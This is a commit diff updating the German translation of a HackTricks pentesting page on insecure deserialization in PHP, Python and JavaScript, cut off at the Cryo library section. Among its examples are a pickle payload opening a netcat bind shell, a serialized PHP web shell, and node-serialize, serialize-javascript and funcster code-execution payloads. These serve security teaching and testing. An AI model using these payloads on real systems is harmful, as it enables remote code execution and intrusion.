mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/java-signedobject-gated-
This commit is contained in:
parent
a2bc0c6b00
commit
08f0721ceb
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das erhalten werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekreiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
|
||||
**Serialization** wird als Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit dem Ziel, das Objekt entweder abzulegen oder im Rahmen eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt später unter Erhalt seiner Struktur und seines Zustands wiederhergestellt werden kann.
|
||||
|
||||
**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.
|
||||
**Deserialization**, im Gegensatz dazu, ist der Prozess, der Serialization rückgängig macht. Dabei werden Daten, die in einem bestimmten Format strukturiert sind, genommen und wieder in ein Objekt rekonstruiert.
|
||||
|
||||
Deserialization kann gefährlich sein, da sie potenziell **Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.
|
||||
Deserialization kann gefährlich sein, da sie potenziell **Angreifern erlaubt, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder während des Objektwiederherstellungsprozesses unerwartetes Verhalten in der Anwendung zu verursachen.
|
||||
|
||||
## PHP
|
||||
|
||||
In PHP werden spezifische magische Methoden während der Serialization- und Deserialization-Prozesse verwendet:
|
||||
In PHP werden spezielle magische Methoden während des serialization- und deserialization-Prozesses verwendet:
|
||||
|
||||
- `__sleep`: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array der Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.
|
||||
- `__wakeup`: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie wird verwendet, um alle Datenbankverbindungen, die während der Serialization verloren gegangen sein könnten, wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.
|
||||
- `__unserialize`: Diese Methode wird anstelle von `__wakeup` (sofern sie existiert) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialization-Prozess im Vergleich zu `__wakeup`.
|
||||
- `__destruct`: Diese Methode wird aufgerufen, wenn ein Objekt kurz davor steht, zerstört zu werden, oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, wie das Schließen von Datei-Handles oder Datenbankverbindungen.
|
||||
- `__toString`: Diese Methode ermöglicht es, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben basierend auf den Funktionsaufrufen innerhalb des Objekts durchzuführen, wodurch eine textuelle Darstellung des Objekts bereitgestellt wird.
|
||||
- `__sleep`: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.
|
||||
- `__wakeup`: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Es dient dazu, ggf. während der serialization verlorene Datenbankverbindungen wiederherzustellen und andere Reinitialisierungsaufgaben auszuführen.
|
||||
- `__unserialize`: Diese Methode wird beim Deserialisieren eines Objekts anstelle von `__wakeup` (falls vorhanden) aufgerufen. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu `__wakeup`.
|
||||
- `__destruct`: Diese Methode wird aufgerufen, wenn ein Objekt zerstört wird oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, z. B. zum Schließen von Dateihandles oder Datenbankverbindungen.
|
||||
- `__toString`: Diese Methode erlaubt es, ein Objekt wie einen String zu behandeln. Sie kann z. B. für das Lesen einer Datei oder andere Aufgaben verwendet werden, die auf den darin aufgerufenen Funktionen basieren, und liefert so eine textuelle Repräsentation des Objekts.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials zu finden ist, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.
|
||||
Wenn du dir die Ergebnisse ansiehst, siehst du, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachte, dass in mehreren Tutorials zu finden ist, dass die **`__toString`**-Funktion beim Versuch, ein Attribut auszugeben, aufgerufen wird, aber anscheinend passiert das **nicht mehr**.
|
||||
|
||||
> [!WARNING]
|
||||
> Die Methode **`__unserialize(array $data)`** wird **anstatt `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.
|
||||
> Die Methode **`__unserialize(array $data)`** wird **anstelle von `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es, das Objekt zu deserialisieren, indem die serialisierten Daten als Array übergeben werden. Du kannst diese Methode verwenden, um Eigenschaften zu deserialisieren und alle notwendigen Aufgaben bei der Deserialisierung auszuführen.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,24 +85,25 @@ Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Führen Sie alle erforderlichen Aufgaben bei der Deserialisierung aus.
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
Sie können ein erklärtes **PHP-Beispiel hier** lesen: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) oder hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Ein erklärtes **PHP-Beispiel** findest du hier: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) oder hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Klassen
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Du kannst die PHP Autoload-Funktionalität ausnutzen, um beliebige PHP-Dateien und mehr zu laden:
|
||||
|
||||
Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
### Serialisierung von Referenzwerten
|
||||
### Serializing Referenced Values
|
||||
|
||||
Wenn Sie aus irgendeinem Grund einen Wert als **Referenz zu einem anderen serialisierten Wert** serialisieren möchten, können Sie:
|
||||
Wenn du aus irgendeinem Grund einen Wert als **Referenz auf einen anderen serialisierten Wert** serialisieren möchtest, kannst du:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -115,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### Verhindern von PHP-Objektinjektion mit `allowed_classes`
|
||||
### Verhinderung von PHP Object Injection mit `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> Unterstützung für das **zweite Argument** von `unserialize()` (das `$options`-Array) wurde in **PHP 7.0** hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, was es unmöglich macht, einzuschränken, welche Klassen instanziiert werden dürfen.
|
||||
> Unterstützung für das **zweite Argument** von `unserialize()` (dem `$options`-Array) wurde in **PHP 7.0** hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, wodurch es unmöglich ist einzuschränken, welche Klassen instanziiert werden dürfen.
|
||||
|
||||
`unserialize()` wird **jede Klasse** instanziieren, die es im serialisierten Stream findet, es sei denn, es wird anders angegeben. Seit PHP 7 kann das Verhalten mit der [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) Option eingeschränkt werden:
|
||||
`unserialize()` wird **jede Klasse instanziieren**, die es im serialisierten Stream findet, sofern nicht anders angegeben. Seit PHP 7 kann das Verhalten mit der [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) Option eingeschränkt werden:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -135,11 +136,11 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
Wenn **`allowed_classes` weggelassen wird _oder_ der Code auf PHP < 7.0 läuft**, wird der Aufruf **gefährlich**, da ein Angreifer eine Nutzlast erstellen kann, die magische Methoden wie `__wakeup()` oder `__destruct()` ausnutzt, um Remote Code Execution (RCE) zu erreichen.
|
||||
Wenn **`allowed_classes` weggelassen wird _oder_ der Code auf PHP < 7.0 läuft**, wird der Aufruf **gefährlich**, da ein Angreifer eine Payload konstruieren kann, die magische Methoden wie `__wakeup()` oder `__destruct()` ausnutzt, um Remote Code Execution (RCE) zu erreichen.
|
||||
|
||||
#### Beispiel aus der Praxis: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
Das WordPress-Plugin **Everest Forms ≤ 3.2.2** versuchte, defensiv mit einem Hilfswrapper zu sein, vergaß jedoch die älteren PHP-Versionen:
|
||||
Das WordPress-Plugin **Everest Forms ≤ 3.2.2** versuchte, sich mit einem Helper-Wrapper abzusichern, vergaß aber, ältere PHP-Versionen zu berücksichtigen:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -154,28 +155,28 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Auf Servern, die noch **PHP ≤ 7.0** ausführen, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, als ein Administrator ein bösartiges Formular-Submission öffnete. Eine minimale Exploit-Nutzlast könnte wie folgt aussehen:
|
||||
Auf Servern, auf denen noch **PHP ≤ 7.0** lief, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, wenn ein Administrator eine bösartige Formularübermittlung öffnete. Eine minimale Exploit-Payload könnte wie folgt aussehen:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
Sobald der Admin den Eintrag ansah, wurde das Objekt instanziiert und `SomeClass::__destruct()` wurde ausgeführt, was zu einer willkürlichen Codeausführung führte.
|
||||
Sobald der Admin den Eintrag betrachtete, wurde das Objekt instanziiert und `SomeClass::__destruct()` ausgeführt, was zur Ausführung beliebigen Codes führte.
|
||||
|
||||
**Wichtige Punkte**
|
||||
1. Übergeben Sie immer `['allowed_classes' => false]` (oder eine strikte Whitelist), wenn Sie `unserialize()` aufrufen.
|
||||
2. Überprüfen Sie defensive Wrapper – sie vergessen oft die Legacy-PHP-Zweige.
|
||||
3. Ein Upgrade auf **PHP ≥ 7.x** allein ist *nicht* ausreichend: die Option muss weiterhin explizit angegeben werden.
|
||||
**Wichtige Erkenntnisse**
|
||||
1. Übergeben Sie immer `['allowed_classes' => false]` (oder eine strikte white-list), wenn Sie `unserialize()` aufrufen.
|
||||
2. Prüfen Sie defensive Wrapper – sie vergessen oft die legacy PHP-Zweige.
|
||||
3. Ein Upgrade auf **PHP ≥ 7.x** allein ist *nicht* ausreichend: die Option muss weiterhin explizit übergeben werden.
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (ysoserial für PHP)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) kann Ihnen helfen, Payloads zu generieren, um PHP-Deserialisierungen auszunutzen.\
|
||||
Beachten Sie, dass Sie in mehreren Fällen **keinen Weg finden werden, eine Deserialisierung im Quellcode** der Anwendung auszunutzen, aber Sie möglicherweise **den Code externer PHP-Erweiterungen ausnutzen können.**\
|
||||
Wenn möglich, überprüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (sogar in den **Gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie ausnutzen könnten.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) kann Ihnen beim Erstellen von Payloads helfen, um PHP deserializations auszunutzen.\
|
||||
Beachten Sie, dass man in mehreren Fällen **keinen Weg finden wird, eine deserialization im Quellcode** der Anwendung auszunutzen, aber möglicherweise **den Code externer PHP-Extensions** missbrauchen kann.\
|
||||
Wenn möglich, prüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (und sogar in den **gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie missbrauchen könnten.
|
||||
|
||||
### phar:// Metadaten-Deserialisierung
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Wenn Sie eine LFI gefunden haben, die nur die Datei liest und den PHP-Code darin nicht ausführt, zum Beispiel mit Funktionen wie _**file_get_contents(), fopen(), file() oder file_exists(), md5_file(), filemtime() oder filesize()**_**.** Sie können versuchen, eine **Deserialisierung** auszunutzen, die auftritt, wenn eine **Datei** mit dem **phar**-Protokoll **gelesen** wird.\
|
||||
Wenn Sie ein LFI gefunden haben, das die Datei nur liest und den darin enthaltenen php-Code nicht ausführt, zum Beispiel mit Funktionen wie _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_. Sie können versuchen, eine **deserialization** auszunutzen, die beim **Lesen** einer **Datei** über das **phar**-Protokoll auftritt.\
|
||||
Für weitere Informationen lesen Sie den folgenden Beitrag:
|
||||
|
||||
|
||||
@ -188,7 +189,7 @@ Für weitere Informationen lesen Sie den folgenden Beitrag:
|
||||
### **Pickle**
|
||||
|
||||
Wenn das Objekt unpickled wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
|
||||
Bei einer Ausnutzung könnte der Server einen Fehler zurückgeben.
|
||||
Bei Ausnutzung könnte der Server einen Fehler zurückgeben.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -196,9 +197,10 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Bevor Sie die Bypass-Technik überprüfen, versuchen Sie, `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.
|
||||
Bevor Sie die Bypass-Technik prüfen, versuchen Sie `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu erzeugen, das mit python2 kompatibel ist, falls Sie python3 verwenden.
|
||||
|
||||
Für weitere Informationen zum Entkommen aus **pickle jails** siehe:
|
||||
|
||||
Für weitere Informationen zum Entkommen aus **pickle jails** überprüfen Sie:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -206,7 +208,8 @@ Für weitere Informationen zum Entkommen aus **pickle jails** überprüfen Sie:
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Die folgende Seite präsentiert die Technik, um **eine unsichere Deserialisierung in YAMLS** Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu generieren:
|
||||
Die folgende Seite beschreibt die Technik, um eine unsichere deserialization in yaml-Python-Bibliotheken zu missbrauchen und endet mit einem Tool, das RCE-deserialization-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** generieren kann:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -214,6 +217,7 @@ python-yaml-deserialization.md
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
{{#endref}}
|
||||
@ -222,10 +226,10 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Ausnutzung von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
|
||||
JS **hat keine "magic" functions** wie PHP oder Python, die allein bei der Erstellung eines Objekts ausgeführt werden. Aber es gibt einige **Funktionen**, die **häufig verwendet werden, selbst ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Wenn man eine deserialization missbraucht, kann man diese Funktionen **kompromittieren, um anderen Code auszuführen** (möglicherweise durch Ausnutzung von prototype pollutions) und damit beliebigen Code ausführen, wenn sie aufgerufen werden.
|
||||
|
||||
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **dieses Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
|
||||
Eine weitere **"magische" Methode, eine Funktion aufzurufen** ohne sie direkt zu rufen, besteht darin, ein Objekt zu kompromittieren, das von einer async-Funktion (promise) zurückgegeben wird. Denn wenn man dieses **return object** in eine andere **promise** mit einer **property** namens **"then" vom Typ function** verwandelt, wird diese **ausgeführt**, nur weil sie von einer anderen promise zurückgegeben wurde. _Folge_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für mehr Infos._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -249,9 +253,9 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` und `prototype` Verschmutzung
|
||||
### `__proto__` and `prototype` pollution
|
||||
|
||||
Wenn Sie mehr über diese Technik erfahren möchten, **sehen Sie sich das folgende Tutorial an**:
|
||||
Wenn du diese Technik lernen willst, **sieh dir das folgende Tutorial an**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -260,7 +264,7 @@ nodejs-proto-prototype-pollution/
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
Diese Bibliothek ermöglicht die Serialisierung von Funktionen. Beispiel:
|
||||
Diese Bibliothek erlaubt das Serialisieren von Funktionen. Beispiel:
|
||||
```javascript
|
||||
var y = {
|
||||
rce: function () {
|
||||
@ -273,23 +277,23 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
Das **serialisierte Objekt** wird wie folgt aussehen:
|
||||
Das **serialisierte Objekt** sieht folgendermaßen aus:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Sie können im Beispiel sehen, dass, wenn eine Funktion serialisiert wird, das `_$$ND_FUNC$$_`-Flag an das serialisierte Objekt angehängt wird.
|
||||
In dem Beispiel siehst du, dass beim Serialisieren einer Funktion das `_$$ND_FUNC$$_` Flag an das serialisierte Objekt angehängt wird.
|
||||
|
||||
Innerhalb der Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag und wie der Code es verwendet.
|
||||
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Wie Sie im letzten Codeabschnitt sehen können, **wenn das Flag gefunden wird**, wird `eval` verwendet, um die Funktion zu deserialisieren, also wird im Grunde **Benutzereingabe innerhalb der `eval`-Funktion verwendet**.
|
||||
Wie du im letzten Codeabschnitt sehen kannst, **wenn das Flag gefunden wird** `eval` verwendet wird, um die Funktion zu deserialisieren, sodass im Grunde **Benutzereingaben innerhalb der `eval`-Funktion verwendet werden**.
|
||||
|
||||
Allerdings **führt das bloße Serialisieren** einer Funktion **nicht zu ihrer Ausführung**, da es notwendig wäre, dass ein Teil des Codes **`y.rce` aufruft** in unserem Beispiel, und das ist höchst **unwahrscheinlich**.\
|
||||
Dennoch könnten Sie einfach das **serialisierte Objekt modifizieren**, **indem Sie einige Klammern hinzufügen**, um die serialisierte Funktion automatisch auszuführen, wenn das Objekt deserialisiert wird.\
|
||||
Im nächsten Codeabschnitt **beachten Sie die letzte Klammer** und wie die `unserialize`-Funktion den Code automatisch ausführen wird:
|
||||
Allerdings wird durch **einfaches Serialisieren** einer Funktion **diese nicht ausgeführt**, denn es wäre erforderlich, dass ein Teil des Codes in unserem Beispiel **`y.rce` aufruft**, und das ist sehr **unwahrscheinlich**.\
|
||||
Du könntest jedoch einfach das **serialisierte Objekt modifizieren**, indem du **einige Klammern hinzufügst**, damit die serialisierte Funktion beim Deserialisieren automatisch ausgeführt wird.\
|
||||
Im nächsten Codeabschnitt **achte auf die letzte Klammer** und darauf, wie die `unserialize` Funktion den Code automatisch ausführt:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -297,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Wie bereits erwähnt, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktionsdefinition** und die letzte Klammer löschen und **einfach eine JS-Oneliner** wie im folgenden Beispiel ausführen:
|
||||
Wie bereits erwähnt, holt diese Bibliothek den Code nach `_$$ND_FUNC$$_` und wird ihn mit `eval` **ausführen**. Daher kannst du, um **Code automatisch auszuführen**, den Teil zur **Funktionserstellung** und die letzte Klammer löschen und **einfach einen JS-Oneliner ausführen**, wie im folgenden Beispiel:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **über die Ausnutzung dieser Schwachstelle** finden.
|
||||
Sie können [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **weitere Informationen** darüber finden, wie diese Schwachstelle ausgenutzt werden kann.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Ein bemerkenswerter Aspekt von **funcster** ist die Unzugänglichkeit von **standardmäßigen eingebauten Objekten**; sie fallen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf eingebauten Objekten aufzurufen, was zu Ausnahmen wie `"ReferenceError: console is not defined"` führt, wenn Befehle wie `console.log()` oder `require(something)` verwendet werden.
|
||||
Ein bemerkenswerter Aspekt von **funcster** ist die Unzugänglichkeit der **eingebauten Standardobjekte**; diese liegen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden an eingebauten Objekten aufzurufen, und führt zu Ausnahmen wie "ReferenceError: console is not defined", wenn Befehle wie `console.log()` oder `require(something)` verwendet werden.
|
||||
|
||||
Trotz dieser Einschränkung ist es möglich, den vollständigen Zugriff auf den globalen Kontext, einschließlich aller standardmäßigen eingebauten Objekte, durch einen spezifischen Ansatz wiederherzustellen. Indem man den globalen Kontext direkt nutzt, kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
|
||||
Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller eingebauten Standardobjekte, durch einen speziellen Ansatz möglich. Indem man den globalen Kontext direkt nutzt, kann man diese Einschränkung umgehen. Beispielsweise kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -332,17 +336,17 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Für**[ **weitere Informationen lesen Sie diese Quelle**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Das **serialize-javascript**-Paket ist ausschließlich für Serialisierungszwecke konzipiert und verfügt über keine integrierten Deserialisierungsfunktionen. Die Benutzer sind dafür verantwortlich, ihre eigene Methode zur Deserialisierung zu implementieren. Eine direkte Verwendung von `eval` wird im offiziellen Beispiel zur Deserialisierung von serialisierten Daten vorgeschlagen:
|
||||
Das **serialize-javascript**-Paket ist ausschließlich für serialization purposes konzipiert und verfügt über keine integrierten deserialization-Funktionen. Benutzer sind dafür verantwortlich, eine eigene Methode zur Deserialization zu implementieren. In dem offiziellen Beispiel zur Deserialisierung serialisierter Daten wird die direkte Verwendung von `eval` vorgeschlagen:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
Wenn diese Funktion verwendet wird, um Objekte zu deserialisieren, können Sie **es leicht ausnutzen**:
|
||||
Wenn diese Funktion verwendet wird, um Objekte zu deserialisieren, kannst du sie **einfach ausnutzen**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -356,90 +360,100 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Für**[ **weitere Informationen lesen Sie diese Quelle**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Für**[ **weitere Informationen lies diese Quelle**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo-Bibliothek
|
||||
### Cryo library
|
||||
|
||||
In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliothek missbrauchen können, um beliebige Befehle auszuführen:
|
||||
In den folgenden Seiten findest du Informationen darüber, wie man diese Bibliothek missbrauchen kann, um beliebige Befehle auszuführen:
|
||||
|
||||
